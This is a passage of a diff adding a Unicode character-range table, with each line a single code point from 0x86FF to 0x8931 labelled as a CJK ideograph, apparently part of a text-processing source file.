+ [0x86ff, 0x86ff], /* CJK Ideograph */
+ [0x8700, 0x8700], /* CJK Ideograph */
+ [0x8701, 0x8701], /* CJK Ideograph */
+ [0x8702, 0x8702], /* CJK Ideograph */
+ [0x8703, 0x8703], /* CJK Ideograph */
+ [0x8704, 0x8704], /* CJK Ideograph */
+ [0x8705, 0x8705], /* CJK Ideograph */
+ [0x8706, 0x8706], /* CJK Ideograph */
+ [0x8707, 0x8707], /* CJK Ideograph */
+ [0x8708, 0x8708], /* CJK Ideograph */
+ [0x8709, 0x8709], /* CJK Ideograph */
+ [0x870a, 0x870a], /* CJK Ideograph */
+ [0x870b, 0x870b], /* CJK Ideograph */
+ [0x870c, 0x870c], /* CJK Ideograph */
+ [0x870d, 0x870d], /* CJK Ideograph */
+ [0x870e, 0x870e], /* CJK Ideograph */
+ [0x870f, 0x870f], /* CJK Ideograph */
+ [0x8710, 0x8710], /* CJK Ideograph */
+ [0x8711, 0x8711], /* CJK Ideograph */
+ [0x8712, 0x8712], /* CJK Ideograph */
+ [0x8713, 0x8713], /* CJK Ideograph */
+ [0x8714, 0x8714], /* CJK Ideograph */
+ [0x8715, 0x8715], /* CJK Ideograph */
+ [0x8716, 0x8716], /* CJK Ideograph */
+ [0x8717, 0x8717], /* CJK Ideograph */
+ [0x8718, 0x8718], /* CJK Ideograph */
+ [0x8719, 0x8719], /* CJK Ideograph */
+ [0x871a, 0x871a], /* CJK Ideograph */
+ [0x871b, 0x871b], /* CJK Ideograph */
+ [0x871c, 0x871c], /* CJK Ideograph */
+ [0x871d, 0x871d], /* CJK Ideograph */
+ [0x871e, 0x871e], /* CJK Ideograph */
+ [0x871f, 0x871f], /* CJK Ideograph */
+ [0x8720, 0x8720], /* CJK Ideograph */
+ [0x8721, 0x8721], /* CJK Ideograph */
+ [0x8722, 0x8722], /* CJK Ideograph */
+ [0x8723, 0x8723], /* CJK Ideograph */
+ [0x8724, 0x8724], /* CJK Ideograph */
+ [0x8725, 0x8725], /* CJK Ideograph */
+ [0x8726, 0x8726], /* CJK Ideograph */
+ [0x8727, 0x8727], /* CJK Ideograph */
+ [0x8728, 0x8728], /* CJK Ideograph */
+ [0x8729, 0x8729], /* CJK Ideograph */
+ [0x872a, 0x872a], /* CJK Ideograph */
+ [0x872b, 0x872b], /* CJK Ideograph */
+ [0x872c, 0x872c], /* CJK Ideograph */
+ [0x872d, 0x872d], /* CJK Ideograph */
+ [0x872e, 0x872e], /* CJK Ideograph */
+ [0x872f, 0x872f], /* CJK Ideograph */
+ [0x8730, 0x8730], /* CJK Ideograph */
+ [0x8731, 0x8731], /* CJK Ideograph */
+ [0x8732, 0x8732], /* CJK Ideograph */
+ [0x8733, 0x8733], /* CJK Ideograph */
+ [0x8734, 0x8734], /* CJK Ideograph */
+ [0x8735, 0x8735], /* CJK Ideograph */
+ [0x8736, 0x8736], /* CJK Ideograph */
+ [0x8737, 0x8737], /* CJK Ideograph */
+ [0x8738, 0x8738], /* CJK Ideograph */
+ [0x8739, 0x8739], /* CJK Ideograph */
+ [0x873a, 0x873a], /* CJK Ideograph */
+ [0x873b, 0x873b], /* CJK Ideograph */
+ [0x873c, 0x873c], /* CJK Ideograph */
+ [0x873d, 0x873d], /* CJK Ideograph */
+ [0x873e, 0x873e], /* CJK Ideograph */
+ [0x873f, 0x873f], /* CJK Ideograph */
+ [0x8740, 0x8740], /* CJK Ideograph */
+ [0x8741, 0x8741], /* CJK Ideograph */
+ [0x8742, 0x8742], /* CJK Ideograph */
+ [0x8743, 0x8743], /* CJK Ideograph */
+ [0x8744, 0x8744], /* CJK Ideograph */
+ [0x8745, 0x8745], /* CJK Ideograph */
+ [0x8746, 0x8746], /* CJK Ideograph */
+ [0x8747, 0x8747], /* CJK Ideograph */
+ [0x8748, 0x8748], /* CJK Ideograph */
+ [0x8749, 0x8749], /* CJK Ideograph */
+ [0x874a, 0x874a], /* CJK Ideograph */
+ [0x874b, 0x874b], /* CJK Ideograph */
+ [0x874c, 0x874c], /* CJK Ideograph */
+ [0x874d, 0x874d], /* CJK Ideograph */
+ [0x874e, 0x874e], /* CJK Ideograph */
+ [0x874f, 0x874f], /* CJK Ideograph */
+ [0x8750, 0x8750], /* CJK Ideograph */
+ [0x8751, 0x8751], /* CJK Ideograph */
+ [0x8752, 0x8752], /* CJK Ideograph */
+ [0x8753, 0x8753], /* CJK Ideograph */
+ [0x8754, 0x8754], /* CJK Ideograph */
+ [0x8755, 0x8755], /* CJK Ideograph */
+ [0x8756, 0x8756], /* CJK Ideograph */
+ [0x8757, 0x8757], /* CJK Ideograph */
+ [0x8758, 0x8758], /* CJK Ideograph */
+ [0x8759, 0x8759], /* CJK Ideograph */
+ [0x875a, 0x875a], /* CJK Ideograph */
+ [0x875b, 0x875b], /* CJK Ideograph */
+ [0x875c, 0x875c], /* CJK Ideograph */
+ [0x875d, 0x875d], /* CJK Ideograph */
+ [0x875e, 0x875e], /* CJK Ideograph */
+ [0x875f, 0x875f], /* CJK Ideograph */
+ [0x8760, 0x8760], /* CJK Ideograph */
+ [0x8761, 0x8761], /* CJK Ideograph */
+ [0x8762, 0x8762], /* CJK Ideograph */
+ [0x8763, 0x8763], /* CJK Ideograph */
+ [0x8764, 0x8764], /* CJK Ideograph */
+ [0x8765, 0x8765], /* CJK Ideograph */
+ [0x8766, 0x8766], /* CJK Ideograph */
+ [0x8767, 0x8767], /* CJK Ideograph */
+ [0x8768, 0x8768], /* CJK Ideograph */
+ [0x8769, 0x8769], /* CJK Ideograph */
+ [0x876a, 0x876a], /* CJK Ideograph */
+ [0x876b, 0x876b], /* CJK Ideograph */
+ [0x876c, 0x876c], /* CJK Ideograph */
+ [0x876d, 0x876d], /* CJK Ideograph */
+ [0x876e, 0x876e], /* CJK Ideograph */
+ [0x876f, 0x876f], /* CJK Ideograph */
+ [0x8770, 0x8770], /* CJK Ideograph */
+ [0x8771, 0x8771], /* CJK Ideograph */
+ [0x8772, 0x8772], /* CJK Ideograph */
+ [0x8773, 0x8773], /* CJK Ideograph */
+ [0x8774, 0x8774], /* CJK Ideograph */
+ [0x8775, 0x8775], /* CJK Ideograph */
+ [0x8776, 0x8776], /* CJK Ideograph */
+ [0x8777, 0x8777], /* CJK Ideograph */
+ [0x8778, 0x8778], /* CJK Ideograph */
+ [0x8779, 0x8779], /* CJK Ideograph */
+ [0x877a, 0x877a], /* CJK Ideograph */
+ [0x877b, 0x877b], /* CJK Ideograph */
+ [0x877c, 0x877c], /* CJK Ideograph */
+ [0x877d, 0x877d], /* CJK Ideograph */
+ [0x877e, 0x877e], /* CJK Ideograph */
+ [0x877f, 0x877f], /* CJK Ideograph */
+ [0x8780, 0x8780], /* CJK Ideograph */
+ [0x8781, 0x8781], /* CJK Ideograph */
+ [0x8782, 0x8782], /* CJK Ideograph */
+ [0x8783, 0x8783], /* CJK Ideograph */
+ [0x8784, 0x8784], /* CJK Ideograph */
+ [0x8785, 0x8785], /* CJK Ideograph */
+ [0x8786, 0x8786], /* CJK Ideograph */
+ [0x8787, 0x8787], /* CJK Ideograph */
+ [0x8788, 0x8788], /* CJK Ideograph */
+ [0x8789, 0x8789], /* CJK Ideograph */
+ [0x878a, 0x878a], /* CJK Ideograph */
+ [0x878b, 0x878b], /* CJK Ideograph */
+ [0x878c, 0x878c], /* CJK Ideograph */
+ [0x878d, 0x878d], /* CJK Ideograph */
+ [0x878e, 0x878e], /* CJK Ideograph */
+ [0x878f, 0x878f], /* CJK Ideograph */
+ [0x8790, 0x8790], /* CJK Ideograph */
+ [0x8791, 0x8791], /* CJK Ideograph */
+ [0x8792, 0x8792], /* CJK Ideograph */
+ [0x8793, 0x8793], /* CJK Ideograph */
+ [0x8794, 0x8794], /* CJK Ideograph */
+ [0x8795, 0x8795], /* CJK Ideograph */
+ [0x8796, 0x8796], /* CJK Ideograph */
+ [0x8797, 0x8797], /* CJK Ideograph */
+ [0x8798, 0x8798], /* CJK Ideograph */
+ [0x8799, 0x8799], /* CJK Ideograph */
+ [0x879a, 0x879a], /* CJK Ideograph */
+ [0x879b, 0x879b], /* CJK Ideograph */
+ [0x879c, 0x879c], /* CJK Ideograph */
+ [0x879d, 0x879d], /* CJK Ideograph */
+ [0x879e, 0x879e], /* CJK Ideograph */
+ [0x879f, 0x879f], /* CJK Ideograph */
+ [0x87a0, 0x87a0], /* CJK Ideograph */
+ [0x87a1, 0x87a1], /* CJK Ideograph */
+ [0x87a2, 0x87a2], /* CJK Ideograph */
+ [0x87a3, 0x87a3], /* CJK Ideograph */
+ [0x87a4, 0x87a4], /* CJK Ideograph */
+ [0x87a5, 0x87a5], /* CJK Ideograph */
+ [0x87a6, 0x87a6], /* CJK Ideograph */
+ [0x87a7, 0x87a7], /* CJK Ideograph */
+ [0x87a8, 0x87a8], /* CJK Ideograph */
+ [0x87a9, 0x87a9], /* CJK Ideograph */
+ [0x87aa, 0x87aa], /* CJK Ideograph */
+ [0x87ab, 0x87ab], /* CJK Ideograph */
+ [0x87ac, 0x87ac], /* CJK Ideograph */
+ [0x87ad, 0x87ad], /* CJK Ideograph */
+ [0x87ae, 0x87ae], /* CJK Ideograph */
+ [0x87af, 0x87af], /* CJK Ideograph */
+ [0x87b0, 0x87b0], /* CJK Ideograph */
+ [0x87b1, 0x87b1], /* CJK Ideograph */
+ [0x87b2, 0x87b2], /* CJK Ideograph */
+ [0x87b3, 0x87b3], /* CJK Ideograph */
+ [0x87b4, 0x87b4], /* CJK Ideograph */
+ [0x87b5, 0x87b5], /* CJK Ideograph */
+ [0x87b6, 0x87b6], /* CJK Ideograph */
+ [0x87b7, 0x87b7], /* CJK Ideograph */
+ [0x87b8, 0x87b8], /* CJK Ideograph */
+ [0x87b9, 0x87b9], /* CJK Ideograph */
+ [0x87ba, 0x87ba], /* CJK Ideograph */
+ [0x87bb, 0x87bb], /* CJK Ideograph */
+ [0x87bc, 0x87bc], /* CJK Ideograph */
+ [0x87bd, 0x87bd], /* CJK Ideograph */
+ [0x87be, 0x87be], /* CJK Ideograph */
+ [0x87bf, 0x87bf], /* CJK Ideograph */
+ [0x87c0, 0x87c0], /* CJK Ideograph */
+ [0x87c1, 0x87c1], /* CJK Ideograph */
+ [0x87c2, 0x87c2], /* CJK Ideograph */
+ [0x87c3, 0x87c3], /* CJK Ideograph */
+ [0x87c4, 0x87c4], /* CJK Ideograph */
+ [0x87c5, 0x87c5], /* CJK Ideograph */
+ [0x87c6, 0x87c6], /* CJK Ideograph */
+ [0x87c7, 0x87c7], /* CJK Ideograph */
+ [0x87c8, 0x87c8], /* CJK Ideograph */
+ [0x87c9, 0x87c9], /* CJK Ideograph */
+ [0x87ca, 0x87ca], /* CJK Ideograph */
+ [0x87cb, 0x87cb], /* CJK Ideograph */
+ [0x87cc, 0x87cc], /* CJK Ideograph */
+ [0x87cd, 0x87cd], /* CJK Ideograph */
+ [0x87ce, 0x87ce], /* CJK Ideograph */
+ [0x87cf, 0x87cf], /* CJK Ideograph */
+ [0x87d0, 0x87d0], /* CJK Ideograph */
+ [0x87d1, 0x87d1], /* CJK Ideograph */
+ [0x87d2, 0x87d2], /* CJK Ideograph */
+ [0x87d3, 0x87d3], /* CJK Ideograph */
+ [0x87d4, 0x87d4], /* CJK Ideograph */
+ [0x87d5, 0x87d5], /* CJK Ideograph */
+ [0x87d6, 0x87d6], /* CJK Ideograph */
+ [0x87d7, 0x87d7], /* CJK Ideograph */
+ [0x87d8, 0x87d8], /* CJK Ideograph */
+ [0x87d9, 0x87d9], /* CJK Ideograph */
+ [0x87da, 0x87da], /* CJK Ideograph */
+ [0x87db, 0x87db], /* CJK Ideograph */
+ [0x87dc, 0x87dc], /* CJK Ideograph */
+ [0x87dd, 0x87dd], /* CJK Ideograph */
+ [0x87de, 0x87de], /* CJK Ideograph */
+ [0x87df, 0x87df], /* CJK Ideograph */
+ [0x87e0, 0x87e0], /* CJK Ideograph */
+ [0x87e1, 0x87e1], /* CJK Ideograph */
+ [0x87e2, 0x87e2], /* CJK Ideograph */
+ [0x87e3, 0x87e3], /* CJK Ideograph */
+ [0x87e4, 0x87e4], /* CJK Ideograph */
+ [0x87e5, 0x87e5], /* CJK Ideograph */
+ [0x87e6, 0x87e6], /* CJK Ideograph */
+ [0x87e7, 0x87e7], /* CJK Ideograph */
+ [0x87e8, 0x87e8], /* CJK Ideograph */
+ [0x87e9, 0x87e9], /* CJK Ideograph */
+ [0x87ea, 0x87ea], /* CJK Ideograph */
+ [0x87eb, 0x87eb], /* CJK Ideograph */
+ [0x87ec, 0x87ec], /* CJK Ideograph */
+ [0x87ed, 0x87ed], /* CJK Ideograph */
+ [0x87ee, 0x87ee], /* CJK Ideograph */
+ [0x87ef, 0x87ef], /* CJK Ideograph */
+ [0x87f0, 0x87f0], /* CJK Ideograph */
+ [0x87f1, 0x87f1], /* CJK Ideograph */
+ [0x87f2, 0x87f2], /* CJK Ideograph */
+ [0x87f3, 0x87f3], /* CJK Ideograph */
+ [0x87f4, 0x87f4], /* CJK Ideograph */
+ [0x87f5, 0x87f5], /* CJK Ideograph */
+ [0x87f6, 0x87f6], /* CJK Ideograph */
+ [0x87f7, 0x87f7], /* CJK Ideograph */
+ [0x87f8, 0x87f8], /* CJK Ideograph */
+ [0x87f9, 0x87f9], /* CJK Ideograph */
+ [0x87fa, 0x87fa], /* CJK Ideograph */
+ [0x87fb, 0x87fb], /* CJK Ideograph */
+ [0x87fc, 0x87fc], /* CJK Ideograph */
+ [0x87fd, 0x87fd], /* CJK Ideograph */
+ [0x87fe, 0x87fe], /* CJK Ideograph */
+ [0x87ff, 0x87ff], /* CJK Ideograph */
+ [0x8800, 0x8800], /* CJK Ideograph */
+ [0x8801, 0x8801], /* CJK Ideograph */
+ [0x8802, 0x8802], /* CJK Ideograph */
+ [0x8803, 0x8803], /* CJK Ideograph */
+ [0x8804, 0x8804], /* CJK Ideograph */
+ [0x8805, 0x8805], /* CJK Ideograph */
+ [0x8806, 0x8806], /* CJK Ideograph */
+ [0x8807, 0x8807], /* CJK Ideograph */
+ [0x8808, 0x8808], /* CJK Ideograph */
+ [0x8809, 0x8809], /* CJK Ideograph */
+ [0x880a, 0x880a], /* CJK Ideograph */
+ [0x880b, 0x880b], /* CJK Ideograph */
+ [0x880c, 0x880c], /* CJK Ideograph */
+ [0x880d, 0x880d], /* CJK Ideograph */
+ [0x880e, 0x880e], /* CJK Ideograph */
+ [0x880f, 0x880f], /* CJK Ideograph */
+ [0x8810, 0x8810], /* CJK Ideograph */
+ [0x8811, 0x8811], /* CJK Ideograph */
+ [0x8812, 0x8812], /* CJK Ideograph */
+ [0x8813, 0x8813], /* CJK Ideograph */
+ [0x8814, 0x8814], /* CJK Ideograph */
+ [0x8815, 0x8815], /* CJK Ideograph */
+ [0x8816, 0x8816], /* CJK Ideograph */
+ [0x8817, 0x8817], /* CJK Ideograph */
+ [0x8818, 0x8818], /* CJK Ideograph */
+ [0x8819, 0x8819], /* CJK Ideograph */
+ [0x881a, 0x881a], /* CJK Ideograph */
+ [0x881b, 0x881b], /* CJK Ideograph */
+ [0x881c, 0x881c], /* CJK Ideograph */
+ [0x881d, 0x881d], /* CJK Ideograph */
+ [0x881e, 0x881e], /* CJK Ideograph */
+ [0x881f, 0x881f], /* CJK Ideograph */
+ [0x8820, 0x8820], /* CJK Ideograph */
+ [0x8821, 0x8821], /* CJK Ideograph */
+ [0x8822, 0x8822], /* CJK Ideograph */
+ [0x8823, 0x8823], /* CJK Ideograph */
+ [0x8824, 0x8824], /* CJK Ideograph */
+ [0x8825, 0x8825], /* CJK Ideograph */
+ [0x8826, 0x8826], /* CJK Ideograph */
+ [0x8827, 0x8827], /* CJK Ideograph */
+ [0x8828, 0x8828], /* CJK Ideograph */
+ [0x8829, 0x8829], /* CJK Ideograph */
+ [0x882a, 0x882a], /* CJK Ideograph */
+ [0x882b, 0x882b], /* CJK Ideograph */
+ [0x882c, 0x882c], /* CJK Ideograph */
+ [0x882d, 0x882d], /* CJK Ideograph */
+ [0x882e, 0x882e], /* CJK Ideograph */
+ [0x882f, 0x882f], /* CJK Ideograph */
+ [0x8830, 0x8830], /* CJK Ideograph */
+ [0x8831, 0x8831], /* CJK Ideograph */
+ [0x8832, 0x8832], /* CJK Ideograph */
+ [0x8833, 0x8833], /* CJK Ideograph */
+ [0x8834, 0x8834], /* CJK Ideograph */
+ [0x8835, 0x8835], /* CJK Ideograph */
+ [0x8836, 0x8836], /* CJK Ideograph */
+ [0x8837, 0x8837], /* CJK Ideograph */
+ [0x8838, 0x8838], /* CJK Ideograph */
+ [0x8839, 0x8839], /* CJK Ideograph */
+ [0x883a, 0x883a], /* CJK Ideograph */
+ [0x883b, 0x883b], /* CJK Ideograph */
+ [0x883c, 0x883c], /* CJK Ideograph */
+ [0x883d, 0x883d], /* CJK Ideograph */
+ [0x883e, 0x883e], /* CJK Ideograph */
+ [0x883f, 0x883f], /* CJK Ideograph */
+ [0x8840, 0x8840], /* CJK Ideograph */
+ [0x8841, 0x8841], /* CJK Ideograph */
+ [0x8842, 0x8842], /* CJK Ideograph */
+ [0x8843, 0x8843], /* CJK Ideograph */
+ [0x8844, 0x8844], /* CJK Ideograph */
+ [0x8845, 0x8845], /* CJK Ideograph */
+ [0x8846, 0x8846], /* CJK Ideograph */
+ [0x8847, 0x8847], /* CJK Ideograph */
+ [0x8848, 0x8848], /* CJK Ideograph */
+ [0x8849, 0x8849], /* CJK Ideograph */
+ [0x884a, 0x884a], /* CJK Ideograph */
+ [0x884b, 0x884b], /* CJK Ideograph */
+ [0x884c, 0x884c], /* CJK Ideograph */
+ [0x884d, 0x884d], /* CJK Ideograph */
+ [0x884e, 0x884e], /* CJK Ideograph */
+ [0x884f, 0x884f], /* CJK Ideograph */
+ [0x8850, 0x8850], /* CJK Ideograph */
+ [0x8851, 0x8851], /* CJK Ideograph */
+ [0x8852, 0x8852], /* CJK Ideograph */
+ [0x8853, 0x8853], /* CJK Ideograph */
+ [0x8854, 0x8854], /* CJK Ideograph */
+ [0x8855, 0x8855], /* CJK Ideograph */
+ [0x8856, 0x8856], /* CJK Ideograph */
+ [0x8857, 0x8857], /* CJK Ideograph */
+ [0x8858, 0x8858], /* CJK Ideograph */
+ [0x8859, 0x8859], /* CJK Ideograph */
+ [0x885a, 0x885a], /* CJK Ideograph */
+ [0x885b, 0x885b], /* CJK Ideograph */
+ [0x885c, 0x885c], /* CJK Ideograph */
+ [0x885d, 0x885d], /* CJK Ideograph */
+ [0x885e, 0x885e], /* CJK Ideograph */
+ [0x885f, 0x885f], /* CJK Ideograph */
+ [0x8860, 0x8860], /* CJK Ideograph */
+ [0x8861, 0x8861], /* CJK Ideograph */
+ [0x8862, 0x8862], /* CJK Ideograph */
+ [0x8863, 0x8863], /* CJK Ideograph */
+ [0x8864, 0x8864], /* CJK Ideograph */
+ [0x8865, 0x8865], /* CJK Ideograph */
+ [0x8866, 0x8866], /* CJK Ideograph */
+ [0x8867, 0x8867], /* CJK Ideograph */
+ [0x8868, 0x8868], /* CJK Ideograph */
+ [0x8869, 0x8869], /* CJK Ideograph */
+ [0x886a, 0x886a], /* CJK Ideograph */
+ [0x886b, 0x886b], /* CJK Ideograph */
+ [0x886c, 0x886c], /* CJK Ideograph */
+ [0x886d, 0x886d], /* CJK Ideograph */
+ [0x886e, 0x886e], /* CJK Ideograph */
+ [0x886f, 0x886f], /* CJK Ideograph */
+ [0x8870, 0x8870], /* CJK Ideograph */
+ [0x8871, 0x8871], /* CJK Ideograph */
+ [0x8872, 0x8872], /* CJK Ideograph */
+ [0x8873, 0x8873], /* CJK Ideograph */
+ [0x8874, 0x8874], /* CJK Ideograph */
+ [0x8875, 0x8875], /* CJK Ideograph */
+ [0x8876, 0x8876], /* CJK Ideograph */
+ [0x8877, 0x8877], /* CJK Ideograph */
+ [0x8878, 0x8878], /* CJK Ideograph */
+ [0x8879, 0x8879], /* CJK Ideograph */
+ [0x887a, 0x887a], /* CJK Ideograph */
+ [0x887b, 0x887b], /* CJK Ideograph */
+ [0x887c, 0x887c], /* CJK Ideograph */
+ [0x887d, 0x887d], /* CJK Ideograph */
+ [0x887e, 0x887e], /* CJK Ideograph */
+ [0x887f, 0x887f], /* CJK Ideograph */
+ [0x8880, 0x8880], /* CJK Ideograph */
+ [0x8881, 0x8881], /* CJK Ideograph */
+ [0x8882, 0x8882], /* CJK Ideograph */
+ [0x8883, 0x8883], /* CJK Ideograph */
+ [0x8884, 0x8884], /* CJK Ideograph */
+ [0x8885, 0x8885], /* CJK Ideograph */
+ [0x8886, 0x8886], /* CJK Ideograph */
+ [0x8887, 0x8887], /* CJK Ideograph */
+ [0x8888, 0x8888], /* CJK Ideograph */
+ [0x8889, 0x8889], /* CJK Ideograph */
+ [0x888a, 0x888a], /* CJK Ideograph */
+ [0x888b, 0x888b], /* CJK Ideograph */
+ [0x888c, 0x888c], /* CJK Ideograph */
+ [0x888d, 0x888d], /* CJK Ideograph */
+ [0x888e, 0x888e], /* CJK Ideograph */
+ [0x888f, 0x888f], /* CJK Ideograph */
+ [0x8890, 0x8890], /* CJK Ideograph */
+ [0x8891, 0x8891], /* CJK Ideograph */
+ [0x8892, 0x8892], /* CJK Ideograph */
+ [0x8893, 0x8893], /* CJK Ideograph */
+ [0x8894, 0x8894], /* CJK Ideograph */
+ [0x8895, 0x8895], /* CJK Ideograph */
+ [0x8896, 0x8896], /* CJK Ideograph */
+ [0x8897, 0x8897], /* CJK Ideograph */
+ [0x8898, 0x8898], /* CJK Ideograph */
+ [0x8899, 0x8899], /* CJK Ideograph */
+ [0x889a, 0x889a], /* CJK Ideograph */
+ [0x889b, 0x889b], /* CJK Ideograph */
+ [0x889c, 0x889c], /* CJK Ideograph */
+ [0x889d, 0x889d], /* CJK Ideograph */
+ [0x889e, 0x889e], /* CJK Ideograph */
+ [0x889f, 0x889f], /* CJK Ideograph */
+ [0x88a0, 0x88a0], /* CJK Ideograph */
+ [0x88a1, 0x88a1], /* CJK Ideograph */
+ [0x88a2, 0x88a2], /* CJK Ideograph */
+ [0x88a3, 0x88a3], /* CJK Ideograph */
+ [0x88a4, 0x88a4], /* CJK Ideograph */
+ [0x88a5, 0x88a5], /* CJK Ideograph */
+ [0x88a6, 0x88a6], /* CJK Ideograph */
+ [0x88a7, 0x88a7], /* CJK Ideograph */
+ [0x88a8, 0x88a8], /* CJK Ideograph */
+ [0x88a9, 0x88a9], /* CJK Ideograph */
+ [0x88aa, 0x88aa], /* CJK Ideograph */
+ [0x88ab, 0x88ab], /* CJK Ideograph */
+ [0x88ac, 0x88ac], /* CJK Ideograph */
+ [0x88ad, 0x88ad], /* CJK Ideograph */
+ [0x88ae, 0x88ae], /* CJK Ideograph */
+ [0x88af, 0x88af], /* CJK Ideograph */
+ [0x88b0, 0x88b0], /* CJK Ideograph */
+ [0x88b1, 0x88b1], /* CJK Ideograph */
+ [0x88b2, 0x88b2], /* CJK Ideograph */
+ [0x88b3, 0x88b3], /* CJK Ideograph */
+ [0x88b4, 0x88b4], /* CJK Ideograph */
+ [0x88b5, 0x88b5], /* CJK Ideograph */
+ [0x88b6, 0x88b6], /* CJK Ideograph */
+ [0x88b7, 0x88b7], /* CJK Ideograph */
+ [0x88b8, 0x88b8], /* CJK Ideograph */
+ [0x88b9, 0x88b9], /* CJK Ideograph */
+ [0x88ba, 0x88ba], /* CJK Ideograph */
+ [0x88bb, 0x88bb], /* CJK Ideograph */
+ [0x88bc, 0x88bc], /* CJK Ideograph */
+ [0x88bd, 0x88bd], /* CJK Ideograph */
+ [0x88be, 0x88be], /* CJK Ideograph */
+ [0x88bf, 0x88bf], /* CJK Ideograph */
+ [0x88c0, 0x88c0], /* CJK Ideograph */
+ [0x88c1, 0x88c1], /* CJK Ideograph */
+ [0x88c2, 0x88c2], /* CJK Ideograph */
+ [0x88c3, 0x88c3], /* CJK Ideograph */
+ [0x88c4, 0x88c4], /* CJK Ideograph */
+ [0x88c5, 0x88c5], /* CJK Ideograph */
+ [0x88c6, 0x88c6], /* CJK Ideograph */
+ [0x88c7, 0x88c7], /* CJK Ideograph */
+ [0x88c8, 0x88c8], /* CJK Ideograph */
+ [0x88c9, 0x88c9], /* CJK Ideograph */
+ [0x88ca, 0x88ca], /* CJK Ideograph */
+ [0x88cb, 0x88cb], /* CJK Ideograph */
+ [0x88cc, 0x88cc], /* CJK Ideograph */
+ [0x88cd, 0x88cd], /* CJK Ideograph */
+ [0x88ce, 0x88ce], /* CJK Ideograph */
+ [0x88cf, 0x88cf], /* CJK Ideograph */
+ [0x88d0, 0x88d0], /* CJK Ideograph */
+ [0x88d1, 0x88d1], /* CJK Ideograph */
+ [0x88d2, 0x88d2], /* CJK Ideograph */
+ [0x88d3, 0x88d3], /* CJK Ideograph */
+ [0x88d4, 0x88d4], /* CJK Ideograph */
+ [0x88d5, 0x88d5], /* CJK Ideograph */
+ [0x88d6, 0x88d6], /* CJK Ideograph */
+ [0x88d7, 0x88d7], /* CJK Ideograph */
+ [0x88d8, 0x88d8], /* CJK Ideograph */
+ [0x88d9, 0x88d9], /* CJK Ideograph */
+ [0x88da, 0x88da], /* CJK Ideograph */
+ [0x88db, 0x88db], /* CJK Ideograph */
+ [0x88dc, 0x88dc], /* CJK Ideograph */
+ [0x88dd, 0x88dd], /* CJK Ideograph */
+ [0x88de, 0x88de], /* CJK Ideograph */
+ [0x88df, 0x88df], /* CJK Ideograph */
+ [0x88e0, 0x88e0], /* CJK Ideograph */
+ [0x88e1, 0x88e1], /* CJK Ideograph */
+ [0x88e2, 0x88e2], /* CJK Ideograph */
+ [0x88e3, 0x88e3], /* CJK Ideograph */
+ [0x88e4, 0x88e4], /* CJK Ideograph */
+ [0x88e5, 0x88e5], /* CJK Ideograph */
+ [0x88e6, 0x88e6], /* CJK Ideograph */
+ [0x88e7, 0x88e7], /* CJK Ideograph */
+ [0x88e8, 0x88e8], /* CJK Ideograph */
+ [0x88e9, 0x88e9], /* CJK Ideograph */
+ [0x88ea, 0x88ea], /* CJK Ideograph */
+ [0x88eb, 0x88eb], /* CJK Ideograph */
+ [0x88ec, 0x88ec], /* CJK Ideograph */
+ [0x88ed, 0x88ed], /* CJK Ideograph */
+ [0x88ee, 0x88ee], /* CJK Ideograph */
+ [0x88ef, 0x88ef], /* CJK Ideograph */
+ [0x88f0, 0x88f0], /* CJK Ideograph */
+ [0x88f1, 0x88f1], /* CJK Ideograph */
+ [0x88f2, 0x88f2], /* CJK Ideograph */
+ [0x88f3, 0x88f3], /* CJK Ideograph */
+ [0x88f4, 0x88f4], /* CJK Ideograph */
+ [0x88f5, 0x88f5], /* CJK Ideograph */
+ [0x88f6, 0x88f6], /* CJK Ideograph */
+ [0x88f7, 0x88f7], /* CJK Ideograph */
+ [0x88f8, 0x88f8], /* CJK Ideograph */
+ [0x88f9, 0x88f9], /* CJK Ideograph */
+ [0x88fa, 0x88fa], /* CJK Ideograph */
+ [0x88fb, 0x88fb], /* CJK Ideograph */
+ [0x88fc, 0x88fc], /* CJK Ideograph */
+ [0x88fd, 0x88fd], /* CJK Ideograph */
+ [0x88fe, 0x88fe], /* CJK Ideograph */
+ [0x88ff, 0x88ff], /* CJK Ideograph */
+ [0x8900, 0x8900], /* CJK Ideograph */
+ [0x8901, 0x8901], /* CJK Ideograph */
+ [0x8902, 0x8902], /* CJK Ideograph */
+ [0x8903, 0x8903], /* CJK Ideograph */
+ [0x8904, 0x8904], /* CJK Ideograph */
+ [0x8905, 0x8905], /* CJK Ideograph */
+ [0x8906, 0x8906], /* CJK Ideograph */
+ [0x8907, 0x8907], /* CJK Ideograph */
+ [0x8908, 0x8908], /* CJK Ideograph */
+ [0x8909, 0x8909], /* CJK Ideograph */
+ [0x890a, 0x890a], /* CJK Ideograph */
+ [0x890b, 0x890b], /* CJK Ideograph */
+ [0x890c, 0x890c], /* CJK Ideograph */
+ [0x890d, 0x890d], /* CJK Ideograph */
+ [0x890e, 0x890e], /* CJK Ideograph */
+ [0x890f, 0x890f], /* CJK Ideograph */
+ [0x8910, 0x8910], /* CJK Ideograph */
+ [0x8911, 0x8911], /* CJK Ideograph */
+ [0x8912, 0x8912], /* CJK Ideograph */
+ [0x8913, 0x8913], /* CJK Ideograph */
+ [0x8914, 0x8914], /* CJK Ideograph */
+ [0x8915, 0x8915], /* CJK Ideograph */
+ [0x8916, 0x8916], /* CJK Ideograph */
+ [0x8917, 0x8917], /* CJK Ideograph */
+ [0x8918, 0x8918], /* CJK Ideograph */
+ [0x8919, 0x8919], /* CJK Ideograph */
+ [0x891a, 0x891a], /* CJK Ideograph */
+ [0x891b, 0x891b], /* CJK Ideograph */
+ [0x891c, 0x891c], /* CJK Ideograph */
+ [0x891d, 0x891d], /* CJK Ideograph */
+ [0x891e, 0x891e], /* CJK Ideograph */
+ [0x891f, 0x891f], /* CJK Ideograph */
+ [0x8920, 0x8920], /* CJK Ideograph */
+ [0x8921, 0x8921], /* CJK Ideograph */
+ [0x8922, 0x8922], /* CJK Ideograph */
+ [0x8923, 0x8923], /* CJK Ideograph */
+ [0x8924, 0x8924], /* CJK Ideograph */
+ [0x8925, 0x8925], /* CJK Ideograph */
+ [0x8926, 0x8926], /* CJK Ideograph */
+ [0x8927, 0x8927], /* CJK Ideograph */
+ [0x8928, 0x8928], /* CJK Ideograph */
+ [0x8929, 0x8929], /* CJK Ideograph */
+ [0x892a, 0x892a], /* CJK Ideograph */
+ [0x892b, 0x892b], /* CJK Ideograph */
+ [0x892c, 0x892c], /* CJK Ideograph */
+ [0x892d, 0x892d], /* CJK Ideograph */
+ [0x892e, 0x892e], /* CJK Ideograph */
+ [0x892f, 0x892f], /* CJK Ideograph */
+ [0x8930, 0x8930], /* CJK Ideograph */
+ [0x8931, 0x8931], /* CJK Ideograph */
